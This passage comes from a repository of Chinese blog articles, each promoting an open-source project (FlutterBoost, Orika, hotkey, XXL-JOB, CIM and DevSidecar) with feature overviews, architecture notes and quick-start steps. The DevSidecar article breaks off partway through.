![](https://files.mdnice.com/user/21078/68505e2c-929c-4c05-8e09-9df2f4d6c518.png) 11 | 12 | 这次小妹介绍项目叫 `FlutterBoost`,是由阿里系闲鱼团队开源的插件,一个能够快速便捷的为原生应用提供 Flutter 混合的集成方案,最新版本已经更新到 v3.0-preview,目前依然在积极维护中! 13 | 14 | Flutter 作为 Google 2018年开源的跨平台移动 UI 框架,能够快速的构建高性能多平台应用。随着 Flutter 的高速发展,越来越多的公司希望使用 Flutter 来减轻多端应用的开发成本。但一直以来如何在原有的原生应用中,采取渐进式方式引入 Flutter 是一个大难题。 15 | 16 | `FlutterBoost` 在开源以后受到了许多开发者的欢迎,这个社区也非常活跃,官方群有专人随时解答使用过程中遇到的问题。 17 | 18 | 接下来小妹就和大家一起看看 `FlutterBoost` 有什么特点吧! 19 | 20 | ## 项目特点 21 | ### 接入简单 22 | `FlutterBoost` 是作为 Flutter 的插件进行使用的,只需要引入工程,并对三端进行简单的配置,即可使用。 23 | 24 | ### 使用简单 25 | 在应用程序中如何管理好 Native 页面和 Flutter 页面并非易事,使用 `FlutterBoost` 则可以帮助我们我们处理好不同页面的映射和跳转,我们只需要关注页面名称和参数即可。 26 | ![](https://files.mdnice.com/user/21078/068a1d38-755d-448a-a533-f8c10107e550.png) 27 | 28 | ### 丰富的页面混合类型 29 | - 支持 Flutter 页面之间的跳转; 30 | - 支持 Flutter 页面跳转 Native 页面; 31 | - 支持 Native 页面跳转 Flutter 页面; 32 | - 支持 Native 页面之间的跳转; 33 | - 支持在 Flutter 页面中开启透明弹窗; 34 | - 支持复杂的混合模式,比如主页 Tab 同时嵌入 Native 页面和 Flutter 页面。 35 | 36 | ### 完善的页面生命周期监控 37 | - 支持页面多种生命周期的监控: 38 | - onBackground 39 | - onForeground 40 | - onPagePush 41 | - onPagePop 42 | - onPageHide 43 | - onPageShow 44 | - 页面生命周期变化通知更加精准,只会通知实际变化了的页面,接口更符合 Flutter 的设计,整合了原生不同端的差异; 45 | - 支持页面关闭后的参数传递,提供了更加灵活的业务解决方案。 46 | 47 | ### 支持自定义事件传递 48 | 使用 Flutter 官方的端对端的事件传递比较麻烦,`FlutterBoost` 提供了自定义事件传递的 API,通过事件标识 key 和参数 map 即可完成事件传递,让开发者省略了手动搭桥的工作。 49 | 50 | ![架构图](https://files.mdnice.com/user/21078/c3410a4d-0e8f-41dc-b895-fd0ac53f9b45.png) 51 | 52 | ## 3.0版本新特性 53 | 在 3.0 版本之前,每当升级一次 Flutter 版本,就需要同时升级 `FlutterBoost` 版本。若不幸你使用的是比较久的 Flutter 版本,那么 `FlutterBoost` 最新版本的特性就与你无缘了。 54 | 55 | 同时,在旧版本中,是有 Androidx 和 Support 分支的,两个版本有时会发生 issue 遗漏的问题。 56 | 57 | 在最新的 3.0 版本中,Flutter SDK 的升级不再需要升级 `FlutterBoost`,也不再区分 Androidx 和 Support 分支。 58 | 59 | 简化了架构和接口,与旧版本相比,新版本代码量减少了一半,接口和设计上更加统一,页面的生命周期变化更方便业务使用。 60 | 61 | ## 小妹总结 62 | 从小妹的体验来说,大叔介绍的 `FlutterBoost` 真是混合 App 开发的神器,简单好用! 63 | 64 | 在愈发强调同时兼顾原生体验和多端研发成本平衡的大环境下,Flutter 的出现给广大开发者提供了接近原生体验和一套代码多端使用的诱人选择。 65 | 66 | 而 `FlutterBoost` 无疑可以给担心 Flutter 有无法解决的坑的小伙伴们打了个强心剂,毕竟实在复杂的场景我们还可以切回原生环境嘛! 67 | 68 | 听到开源小妹的安利,你是不是也有点心动了,赶紧公众号后台回复「混合」,获取开源项目及上述工具地址吧~~~ 69 | 70 | 问君能有几多愁,开源项目解千愁,小妹和大家说再见啦,下期再见! 71 | 72 | > 大家的点赞、收藏和评论对大叔非常重要,如文章对你有帮助还请转发支持下,谢谢! -------------------------------------------------------------------------------- /contents/2021_10_21_别再用BeanUtils转换对象啦!这个框架更快更强大!!.md: -------------------------------------------------------------------------------- 1 | 大家好,我是可爱又机灵的开源小妹。 2 | 3 | 如今微服务架构和领域驱动设计 DDD 愈来愈盛行,于是我们有了大量的 DO 对象与 DTO 对象的映射转化场景。 4 | 5 | 以前的我都是傻乎乎的使用 getter / setter 方式转换,又慢又容易出错。 6 | 7 | 周末小妹在家好好的研究了一下,给大家带来开源项目 `Orika`,是一个使用字节码技术栈实现的**高性能 Java 对象映射框架**,就是众多映射工具中**简单易用又高效**的代表之作! 8 | 9 | ## 优势 10 | ### 性能 11 | 对比其他很多工具使用反射方式实现的映射,`Orika` 它是直接动态加载 Javasist 类库生成对象映射的字节码进行字段映射,这种方式**比传统的反射赋值,速度上会快很多**。 12 | 13 | ### 易用 14 | 无需手动敲重复的 getter / setter 方法,不用写繁琐的 **Convert** 转化类,**无需配置**就可直接使用! 15 | 16 | ### 灵活 17 | 支持两个对象的字段名不同的映射关系,也支持同一个字段名不同数据类型的转换,甚至于支持嵌套对象的字段映射,完全能够**满足你不同的转换需求**! 18 | 19 | ## 快速入门 20 | ### 1. 引包 21 | 22 | ```xml 23 | 24 | ma.glasnost.orika 25 | orika-core 26 | 1.5.4 27 | 28 | ``` 29 | 30 | ### 2. 获取映射工厂 MapperFactor 31 | 32 | ```Java 33 | MapperFactor mapperFactory = new DefaultMapperFactor.Builder().build(); 34 | ``` 35 | 你可以使用 MapperFactor 注册指定的类之间的字段对应关系: 36 | 37 | ```Java 38 | // 若两个对象字段一一对应,此步可以省略 39 | mapperFactory.classMap(PersonSource.class, PersonDestination.class) 40 | .field("firstName", "givenName") 41 | .field("lastName", "sirName") 42 | .byDefault() 43 | .register(); 44 | ``` 45 | 当然也可以根据你的需求,注册自定义的 Converter 等。 46 | 47 | ### 3. 获取 MapperFacade,进行对象映射 48 | 上一步已经获取了映射工厂 MapperFactor,而这一步通过工厂获取实例,并进行映射。 49 | 50 | ```Java 51 | // 获取实例 52 | MapperFacade mapper = mapperFactor.getMapperFacade(); 53 | 54 | // 原对象 55 | PersonSource source = new PersonSource(); 56 | // set some field values 57 | 58 | // 映射,获取映射后的对象 59 | PersonDestination destination = mapper.map(source, PersonDestination.class); 60 | ``` 61 | 62 | 63 | 是不是很简单!`Orika` 的一大特点就是使用起来非常简单,当然如果你有更特殊的使用场景,可以自行查阅它的官方文档进行定制化,相信你会渐渐放弃让人奔溃的 getter / setter 方式。 64 | 65 | 我也不用天天加班了!(ó﹏ò。) 66 | 67 | ## 对比 68 | 我还尝试了几款常见的对象映射框架,比如 Spring 的 BeanUtils, Dozer 和 MapStruct 等。 69 | 70 | ### BeanUtils 71 | 使用比较简单,但是使用反射 Method 的 invoke(Object obj, Object... args)去赋值,**效率低下**,并且不能支持不同名称的字段属性映射等复杂的场景。 72 | 73 | ### Dozer 74 | 有良好的定制化属性映射功能,支持简单属性、复杂类型的映射和递归映射等功能。但是同样使用了反射技术进行赋值,**效率非常不能让人满意**。 75 | 76 | ### MapStruct 77 | 是一个能够在编译期自动生成 Mapper 类的工具,自动生成的代码采用的 getter / setter 方式进行赋值,所以它的执行效率很高。但是 MapStruct 框架有一个致命的弱点,是使用起来比较繁琐,每一对映射对象都需要新增一个 Mapper 接口,再由编译时自动生成具体的实现,使用起来**不便利**。 78 | 79 | ```Java 80 | @Mapper 81 | public interface CarMapper { 82 | 83 | CarMapper INSTANCE = Mappers.getMapper( CarMapper.class ); 84 | 85 | // 编译后会自动生成这个方法的具体实现 86 | @Mapping(source = "numberOfSeats", target = "seatCount") 87 | CarDto carToCarDto(Car car); 88 | } 89 | ``` 90 | 91 | ## 小妹总结 92 | 随着如 DTO 与 DO 类相互映射的场景越来越多,找到一个称手的对象映射框架非常重要。 93 | 94 | 今天小妹介绍的 `Orika` 框架,就是其中非常优秀的作品。它在使用的**便捷程度、灵活程度和性能**方便做出了很好的平衡,非常推荐大家上手试一试这款优秀的开源作品! 95 | 96 | 听到开源小妹的安利,你是不是也有点心动了,赶紧去公众号后台回复「**映射**」,获取开源项目的地址吧~~~ 97 | 98 | 问君能有几多愁,开源项目解千愁,小妹和大家说再见啦,下期再见哦! 99 | -------------------------------------------------------------------------------- /contents/2021_10_26_大厂热数据探测开源项目不能错过!.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: hotkey 3 | date: 2021-10-24 17:23:02 4 | tags: 5 | --- 6 | 7 | 大家好,我是爱撸码的开源大叔! 8 | 9 | 双十一时候,各大电商的流量都是很大的,过年时候火车票也都是秒光,这些流量是可以提前预测的,可以提前加服务器,还有些流量无法提前预测,像微博就承受了太多压力,饭圈突然就来一个热点新闻,比如xxx pc被抓、xxx宣布离婚、xxx公布恋情。。。大家都懂的 10 | 11 | 12 | 13 | ![](https://server.xmyeditor.com/picture/19/786e6392337e3229ba358f3c1d29b4c6.jpg) 14 | 15 | 互联网会有突发性无法预先感知的热点数据,大量请求同一个商品、恶意爬虫、海量请求同一个接口,大量的请求进来,我们需要考虑的点就很多了,**缓存雪崩**,**缓存击穿**,**缓存穿透**这些都是有可能发生的,甚至DB挂了,那就很难受了,最后背锅的还是**开发**。 16 | 17 | 今天大叔推荐的hotkey就可以解决这个问题。APP后台热数据探测框架,对任意突发性的无法预先感知的热点数据,推送到所有服务端JVM内存中,以大幅减轻对后端数据存储层的冲击,并可以由使用者决定如何分配、使用这些热key(譬如对热商品做本地缓存、对热用户进行拒绝访问、对热接口进行熔断或返回默认值)。这些热数据在整个服务端集群内保持一致性,并且业务隔离,worker端性能强悍。 18 | 19 | ### 系统架构 20 | 21 | 22 | 23 | ![](https://images.gitee.com/uploads/images/2020/0616/105737_e5b876cd_303698.png) 24 | 25 | **1、etcd集群** 26 | 27 | etcd作为一个高性能的配置中心,可以以极小的资源占用,提供高效的监听订阅服务。主要用于存放规则配置,各worker的ip地址,以及探测出的热key、手工添加的热key等。 28 | 29 | **2、client端jar包** 30 | 31 | 就是在服务中添加的引用jar,引入后,就可以以便捷的方式去判断某key是否热key。同时,该jar完成了key上报、监听etcd里的rule变化、worker信息变化、热key变化,对热key进行本地caffeine缓存等。 32 | 33 | **3、worker端集群** 34 | 35 | worker端是一个独立部署的Java程序,启动后会连接etcd,并定期上报自己的ip信息,供client端获取地址并进行长连接。之后,主要就是对各个client发来的待测key进行累加计算,当达到etcd里设定的rule阈值后,将热key推送到各个client。 36 | 37 | **4、dashboard控制台** 38 | 39 | 控制台是一个带可视化界面的Java程序,也是连接到etcd,之后在控制台设置各个APP的key规则,譬如2秒出现20次算热key。然后当worker探测出来热key后,会将key发往etcd,dashboard也会监听热key信息,进行入库保存记录。同时,dashboard也可以手工添加、删除热key,供各个client端监听。 40 | 41 | ### 适用场景 42 | 43 | - mysql热数据本地缓存 44 | - redis热数据本地缓存 45 | - 黑名单用户本地缓存 46 | - 爬虫用户限流 接口、用户维度限流 47 | - 单机接口、用户维度限流 48 | - 集群用户维度限流 49 | - 集群接口维度限流 50 | 51 | ### 工作流程 52 | 53 | 1、搭建搭建etcd集群 54 | 55 | 可以理解成微服务中注册中心 56 | 57 | 2、启动dashboard配置规则 58 | 59 | ![](https://images.gitee.com/uploads/images/2020/0622/175255_e1b05b4c_303698.png) 60 | 61 | 3、启动worker集群 62 | 63 | worker与client进行长连接,计算各个client发来的key,当某key达到规则里设定的阈值后,将其推送到该APP全部client。 64 | 65 | 4、启动client端 66 | 67 | client与worker建立长连接,定时把待测key到对应的worker。当worker探测出来热key后,会推送回来,client里提供了方法,根据业务做相应的处理,比如限流、降级访问的部分接口等等。 68 | 69 | ### 性能表现 70 | 71 | 每10秒打印一行,totalDealCount代表处理过的key总量,可以看到每10秒处理量在270万-310万之间,对应每秒30万左右QPS。 72 | 73 | ![](https://images.gitee.com/uploads/images/2020/0611/152336_78597937_303698.png) 74 | 75 | ![](https://images.gitee.com/uploads/images/2020/0611/152249_4ac01178_303698.png) 76 | 77 | 经历了多次大促压测演练以及618大促、双11大促,表现相当稳定。 78 | 79 | ### 总结 80 | 81 | 大叔总结一下,这个项目的工作原理,client和worker都会注册到etcd集群中,在dashboard控制台中配置规则,client定时把key上报给worker集群,worker计算client发来的key,当达到系统设置的阈值,worker把key推送给全部的client,client做相应的业务处理。 82 | 83 | 听了大叔的介绍,各位小伙伴有没有心动?心动不如行动,赶紧去公众号后台回复「**hotkey**」,获取开源项目的地址吧~~~ 84 | 85 | -------------------------------------------------------------------------------- /contents/2021_11_02_任务调度平台只会Quartz?让本小妹来带你飞~.md: -------------------------------------------------------------------------------- 1 | 2 | 大家好,我是人见人爱,花见花开的开源小妹。今天我来给大家分享一个超好用的分布式任务调度平台:XXL-JOB。 3 | ## 一、背景 4 | 事情的起因是这样滴:最近公司项目需要改革,找出之前项目的痛点,然后对症下药。本来我以为没有本小妹什么事呢,结果。。。不说了,直接上图。 5 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/聊天1.png) 6 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/聊天2.png) 7 | 你们也看到了,这篇文章是怎么来的啦,哈哈。 8 | ![](https://img.soogif.com/wykyQaSFfHdsiMRUZirAaBnpJbsnSla1.JPEG?scope=mdnice) 9 | 10 | 11 | ## 二、和Quartz的对比 12 | 既然我们公司之前用的是Quartz,但是现在要换了它,那么我们就来看看Quartz哪里不好,同时也看看XXL-JOB好在哪里。 13 | ### Quartz的不足 14 | 15 | - 问题一:调用API的的方式操作任务,不人性化; 16 | - 问题二:需要持久化业务QuartzJobBean到底层数据表中,系统侵入性相当严重; 17 | - 问题三:调度逻辑和QuartzJobBean耦合在同一个项目中,这将导致一个问题,在调度任务数量逐渐增多,同时调度任务逻辑逐渐加重的情况加,此时调度系统的性能将大大受限于业务; 18 | - 问题四:quartz底层以“抢占式”获取DB锁并由抢占成功节点负责运行任务,会导致节点负载悬殊非常大;而XXL-JOB通过执行器实现“协同分配式”运行任务,充分发挥集群优势,负载各节点均衡。 19 | 20 | ### XXL-JOB的特性 21 | 22 | - 简单:支持通过Web页面对任务进行CRUD操作,操作简单,一分钟上手 23 | 24 | - 动态:支持动态修改任务状态、启动/停止任务,以及终止运行中任务,即时生效 25 | 26 | - 调度中心HA(中心式):调度采用中心式设计,“调度中心”基于集群Quartz实现并支持集群部署,可保证调度中心HA 27 | 执行器HA(分布式):任务分布式执行,任务"执行器"支持集群部署,可保证任务执行HA 28 | 29 | - 注册中心: 执行器会周期性自动注册任务, 调度中心将会自动发现注册的任务并触发执行。同时,也支持手动录入执行器地址 30 | 31 | - 弹性扩容缩容:一旦有新执行器机器上线或者下线,下次调度时将会重新分配任务 32 | 33 | - 路由策略:执行器集群部署时提供丰富的路由策略,包括:第一个、最后一个、轮询、随机、一致性HASH、最不经常使用、最近最久未使用、故障转移、忙碌转移等 34 | 35 | - 故障转移:任务路由策略选择"故障转移"情况下,如果执行器集群中某一台机器故障,将会自动Failover切换到一台正常的执行器发送调度请求。 36 | 37 | - 阻塞处理策略:调度过于密集执行器来不及处理时的处理策略,策略包括:单机串行(默认)、丢弃后续调度、覆盖之前调度 38 | 39 | - 任务超时控制:支持自定义任务超时时间,任务运行超时将会主动中断任务 40 | 41 | - 任务失败重试:支持自定义任务失败重试次数,当任务失败时将会按照预设的失败重试次数主动进行重试;其中分片任务支持分片粒度的失败重试 42 | 43 | - 任务失败告警;默认提供邮件方式失败告警,同时预留扩展接口,可方便的扩展短信、钉钉等告警方式 44 | 45 | - 分片广播任务:执行器集群部署时,任务路由策略选择"分片广播"情况下,一次任务调度将会广播触发集群中所有执行器执行一次任务,可根据分片参数开发分片任务 46 | 47 | ...
48 | XXL-JOB的优点有点太多了呢,哈哈,我是不是有点喜新厌旧了呢。 49 | ![](https://img.soogif.com/YqJpHIu4ZY8noL1SLsiZL856Ko82zMDb.gif?scope=mdnice) 50 | 51 | 52 | ## 三、快速入门 53 | 看到这么多优点,你们是不是也优点迫不及待了呢?不要急,不要慌,待本小妹慢慢带你们入门。 54 | 1. 下载项目,源代码地址为:略略略,容本小妹卖个关子,一会告诉你们源码地址,下载完成之后直接使用maven进行编译即可; 55 | 56 | 2. 源代码结构如下: 57 | 58 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210929163310542.png) 59 | 快夸我贴心,源码都是干嘛的我都给标出来了。 60 | ![](https://img.soogif.com/cOs793miwhMdEwtxwiMNrRcQ1OuTfS22.gif?scope=mdnice) 61 | 62 | 3. 初始化数据库,直接执行自带的数据库脚本即可,就不用本小妹多说啦 63 | 64 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210929163416893.png) 65 | 66 | 4. 部署任务调度中心项目xxl-job-admin 67 | 68 | 该项目的作用是:统一管理任务调度平台上调度任务,负责触发调度执行,并且提供任务管理平台。 69 | 70 | **修改配置文件:** **xxl-job-admin/src/main/resources/application.properties**,一般修改下数据库连接地址即可。 71 | 72 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210929164036401.png) 73 | 74 | **部署启动项目**:以上配置正确,直接编译启动项目即可 75 | 76 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210929164224850.png) 77 | 78 | 项目访问地址为:http://localhost:9080/xxl-job-admin (由于我这里8080端口被占用了,因此我换成了8090端口,嘻嘻) 79 | 80 | **登录系统:** 用户名密码为:admin/123456 81 | 82 | **首页图如下**: 83 | 84 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210928172116765.png) 85 | 86 | 至此,“任务调度中心管理系统”已部署成功。还不要高兴的太早哦,这刚刚完成了一半。 87 | ![](https://img.soogif.com/bTl5tb7rOVq7vpyns5NsQgoy2BO6l96X.gif?scope=mdnice) 88 | 89 | 90 | 5. 部署执行器项目 91 | 92 | 可以使用作者提供的实例项目: 93 | 94 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210929164932016.png) 95 | 96 | 也可以集成到现有的项目中。这里我要集成到自己已有的服务中。(又得夸我一波了) 97 | ![](https://img.soogif.com/j3QkRfYlI1zJ8M3IRE5e0GidA6vYnR5i.gif?scope=mdnice) 98 | 99 | 100 | **步骤一:引入依赖** 101 | 102 | ``` 103 | 104 | com.xuxueli 105 | xxl-job-core 106 | 2.3.0 107 | 108 | ``` 109 | 110 | **步骤二:添加执行器的配置信息** 111 | 112 | 可以copy【xxl-job-executor-sample-springboot】项目中的配置文件,放到自己项目下,做一些相应的修改 113 | 114 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210929170351523.png) 115 | 116 | **步骤三:执行器组件配置** 117 | 118 | 可以copy示例代码中的配置文件到自己项目中,配置位置为: 119 | 120 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210929171305191.png) 121 | 122 | **步骤四:执行执行器项目** 123 | 124 | 上述配置完成之后,可以直接执行项目的主启动类,以启动执行器。 125 | 126 | 6. 开发定时任务 127 | 128 | **步骤一:代码的编写** 129 | 130 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210929171519016.png) 131 | 132 | **步骤二:在任务调度中心添加任务** 133 | 134 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210929171855656.png) 135 | 136 | 保存后效果如下: 137 | 138 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210929171953171.png) 139 | 140 | 7. 启动“调度中心”和“定时器”执行任务 141 | 142 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210929172217391.png) 143 | 144 | 至此,XXL-JOB的快速入门已经完成。 145 | ![](https://img.soogif.com/H2sjgGLYG1YhzlM88taFw4ggmwUgwW0Y.gif?scope=mdnice) 146 | 147 | 148 | 149 | ## 四、效果图展示 150 | 151 | 我还贴心的为大家准备了系统的截图哦~~ 152 | 153 | ### 1.运行报表(首页) 154 | 155 | 在首页可以查看任务的总体情况,包括任务个数,总调度次数等等。 156 | 157 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210928172116765.png) 158 | 159 | ### 2.任务管理 160 | 161 | 对所有定时任务进行一个统一管理,定时任务是依赖于执行器的,一个执行器包含多个定时任务 162 | 163 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210928172157750.png) 164 | 165 | ### 3.调度日志 166 | 167 | 查看定时任务的执行情况,包含成功失败等情况,失败的可以查看失败原因 168 | 169 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210929174239212.png) 170 | 171 | ### 4.执行器管理 172 | 173 | 管理执行器,可以类比微服务中,服务注册中心对于注册到该中心的微服务的管理 174 | 175 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210928172432048.png) 176 | 177 | ### 5.用户管理 178 | 179 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210928172446395.png) 180 | 181 | ## 五、系统架构 182 | 183 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210928172551048.png) 184 | 185 | - 该系统主要分为调度中心和执行器两部分,主要采用了微服务中的服务注册管理的思想 186 | - 执行器包含了任务线程,任务信息等 187 | - 调度中心则主要是对所有任务的统一调度管理,类似服务注册中心对于微服务的管理 188 | 189 | 该系统和微服务中的服务注册中心的思想非常类似,**几个关键组件的关系**如下图所示: 190 | 191 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210928173424813.png) 192 | 193 | ## 六、总结 194 | 195 | 目前已有多家公司接入xxl-job,包括比较知名的大众点评,京东,优信二手车,北京尚德,360金融 (360),联想集团 (联想),易信 (网易)等等.... 196 | 197 | 而我们公司在最近也接入了该项目,确实解决了之前定时任务使用的一些痛点,而且效果也很乐观,所以如果你也在寻找分布式任务调度系统的话,这个框架可以是一个不错的选择,感兴趣的同学可以去了解下。 198 | 199 | 关注公众号【开源小分队】,后台回复「xxl」即可获得开源项目的相关信息哦~ 200 | 201 | 问君能有几多愁,开源项目解千愁,我们下期再见! -------------------------------------------------------------------------------- /contents/2021_11_04_基于 Netty 的即时消息通信框架,给你带来全新的沉浸式体验.md: -------------------------------------------------------------------------------- 1 | ## 一、背景 2 | 3 | 大家好,我是爱撸码的开源大叔!前两天开源小妹写了篇文章,反响还不错,就开始跟我炫耀了,那我必是不能落后的。 4 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/聊天3.jpg) 5 | 6 | 目前公司项目有许多需要发送即时消息的场景,之前一直采用的是**传统的websocket**连接,但是它存在**掉线严重,不可重连,不支持高并发等缺点**,在这样的背景下,急需一款成熟稳定的即时通讯系统。此时发现了一个优秀的**开源框架--CIM**。CIM是一套**基于Netty**框架下的推送系统,目前CIM支持**websocket,android,ios,桌面应用,系统应用等**多端接入支持,**可应用于移动应用,物联网,智能家居,嵌入式开发,桌面应用,WEB应用以及后台系统**之间的即时消服务。
7 | 下面我来给大家介绍一下这个好用的开源框架吧。(写这篇文章还有一个目的:开源大叔不能输给开源小妹!) 8 | ![](https://img.soogif.com/sfBdTxAuyVhlJmPoWUZ6ZtyF7Bfa8lji.gif?imageMogr2/thumbnail/!78.117914683103p&scope=mdnice) 9 | 10 | 11 | ## 二、快速入门 12 | 13 | 1. 下载源代码,原代码地址为:。。。(我也跟小妹学一手卖关子),下载完成之后直接使用maven编译即可。 14 | 15 | 2. 源代码目录结构如下: 16 | 17 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210930093223173.png) 18 | 19 | 3. 无需进行数据库的初始化,若想要将用户信息保存持久化可以将CIMSession用户连接信息保存到Redis或者MySQL中,本次示例不做数据库相关操作。 20 | 21 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210930093550581.png) 22 | 23 | 4. 部署CIM服务端项目 24 | 25 | **第一步:修改配置文件** 26 | 27 | 由于无需连接数据库,因此没有什么需要修改的地方 28 | 29 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210930093923102.png) 30 | 31 | **第二步:直接启动项目** 32 | 33 | 启动还是非常便捷的,没有繁琐的配置 34 | 35 | 可以看到websocket监听的端口为34566,这也是一会我们要使用的端口。 36 | 37 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210930094246581.png) 38 | 39 | **第三步:打开管理界面** 40 | 41 | 界面地址为:http://127.0.0.1:8080/ 42 | 43 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210930100059169.png) 44 | 45 | 因为我们还没有登录客户端,因此这里还没有在线用户,稍后我们登录客户端后再来查看。 46 | 47 | 至此CIM服务端已部署启动完成。 48 | 49 | 5. CIM的web客户端启动 50 | 51 | **第一步:找到客户端实例项目** 52 | 53 | 我们本次主要演示web客户端通过websocket的连接 54 | 55 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210930094706077.png) 56 | 57 | **第二步:修改配置文件** 58 | 59 | web端的配置文件主要在:cim.web.sdk.js 60 | 61 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210930095458130.png) 62 | 63 | **第三步:启动web客户端** 64 | 65 | 启动很简单,直接打开index.html文件即可 66 | 67 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210930095620395.png) 68 | 69 | 效果如下 70 | 71 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210930095825819.png) 72 | 73 | **第四步:登录CIM** 74 | 75 | 我们任意输入一个用户名,点击“登录”即可 76 | 77 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210930095918715.png) 78 | 79 | 登录成功 80 | 81 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210930095942486.png) 82 | 83 | 我们再来看看服务端的在线用户列表,已经有我们登录的用户,点击“发送消息”按钮即可发送消息 84 | 85 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210930100019928.png) 86 | 87 | 6. 发送消息 88 | 89 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210930100352794.png) 90 | 91 | 至此,CIM的快速入门已经完成。 92 | ![](https://img.soogif.com/DLT1qXHB5hxrNHDKrRdQX5NKrpW32Pqv.gif?scope=mdnice) 93 | 94 | 95 | ## 三、大致流程 96 | 97 | 1. 首先启动服务器端项目,此时也相当于启动了websocket的服务端,等待用户连接; 98 | 2. 打开web客户端页面,登录用户,连接websocket; 99 | 3. 打开控制台页面,选择已登录的用户,发送消息即可。 100 | 101 | 可以看到,系统的整体流程并不复杂,还是很容易理解和上手的。 102 | ![](https://img.soogif.com/ndxvRXimF19V0RfpbppN7gGV9NeqaESj.gif?scope=mdnice) 103 | 104 | 105 | ## 四、框架优势 106 | 107 | 1. 该框架是基于主流的**Netty框架**(Netty的强大已无需多言了),能够**保证稳定高效的连接,而且断线重连机制支持的也很好**。 108 | 2. **易于扩展和使用,并完美支持集群部署支持海量链接**,目前支持websocket,android,ios,桌面应用,系统应用等多端接入持,可应用于移动应用,物联网,智能家居,嵌入式开发,桌面应用,WEB应用即时消服务。 109 | 3. 用时7年 基于CIM的项目已经运行在全国各个地方,包括上市公司,各地政务系统,警务系统等服务于上百家客户。 110 | 4. 该框架是基于当前主流的**springboot**,并且**全面拥抱protobuf,替换json序列化方式,更加高效**。 111 | 5. 从我自身使用体验来讲,该框架已经很好的解决了我司项目之前**掉线严重,不可重连,不支持高并发等缺点**。 112 | 113 | ## 五、总结 114 | 115 | 目前该框架已集成到我司的项目当中,而且已经稳定运行一段时间,很好的解决了之前消息推送的痛点,得到了其他同事的一致好评。 116 | 117 | 另外,了解该项目之前建议先了解下**Netty的相关原理**,能够方便你对于该项目源码的改编,以适用你自己项目的需求。我也将之前在公司给同事培训**Netty的脑图**整理了一下,需要的小伙伴可以去下载一下。(回复的关键字稍后会在文末贴出) 118 | 119 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/20211101154602.png) 120 | 121 | 对于用户信息的持久化,可以使用Redis数据库,方便又高效。 122 | 123 | 最后,假如你当前也有即时消息推送相关的需求,这个完善的消息推送框架还是很值得你去考虑的。 124 | 125 | 后台回复【CIM】获得开源项目相关信息和Netty脑图下载地址~ 126 | 127 | 问君能有几多愁,开源项目解千愁,我们下期再见! -------------------------------------------------------------------------------- /contents/2021_11_09_访问GitHub还在转圈圈吗?快上车!让你加速到飞起!.md: -------------------------------------------------------------------------------- 1 | # 访问GitHub还在转圈圈吗?快上车!让你加速到飞起! 2 | 3 | 大家好,我是机灵可爱的开源小妹! 4 | 5 | 相信每一个关注开源的朋友,都会遇到一个棘手的问题,那就是 Github 的访问不够稳定。Github 就像薛定谔的猫一样,点开时,才知道能不能访问。运气不好的时候,可能等很久也加载不出来页面。运气好的时候,可以访问网站,但是有的图片又打不开。这样的体验性很差,也失去了学习的兴趣。 6 | 7 | 既然要学习开源项目,第一步就要保证流畅访问 GitHub 是不是?那么今天小妹就给大家介绍一个好用的开源网络加速工具:DevSidecar 开发者边车。 8 | 9 | 开发者边车,这个名字很奇怪耶。项目主页的解释是: 10 | 11 | > 命名取自 service-mesh 的 service-sidecar,意为:为开发者打辅助的边车工具。 12 | 13 | 好吧,那有了这个车车,你就可以更好的访问 GitHub、StackOverflow 等响应速度不够快的学习网站哦(^_-) 14 | 15 | ## 特性 16 | 17 | 下面介绍一下这个工具的特性以及实现原理。 18 | 19 | ### 1.DNS 优选 20 | 21 | DevSidecar 会根据网络状况智能解析最佳域名 IP 地址,获取最佳网络速度,进而解决一些网站和库无法访问或访问速度慢的问题。 22 | 23 | 实现原理:DNS 解析域名下的 IP 地址,对每个 IP 进行测速,选择速度最快的 IP 地址进行请求。这是DevSidecar 最基本的功能,和我们以前常用的手动修改 hosts 文件是一个道理。 24 | 25 | ### 2.请求拦截 26 | 27 | 对于所有 IP 地址访问都比较困难的网站,DevSidecar 可以将请求(比如访问 GitHub)代理到加速镜像站点。 28 | 29 | 实现原理:DevSidecar 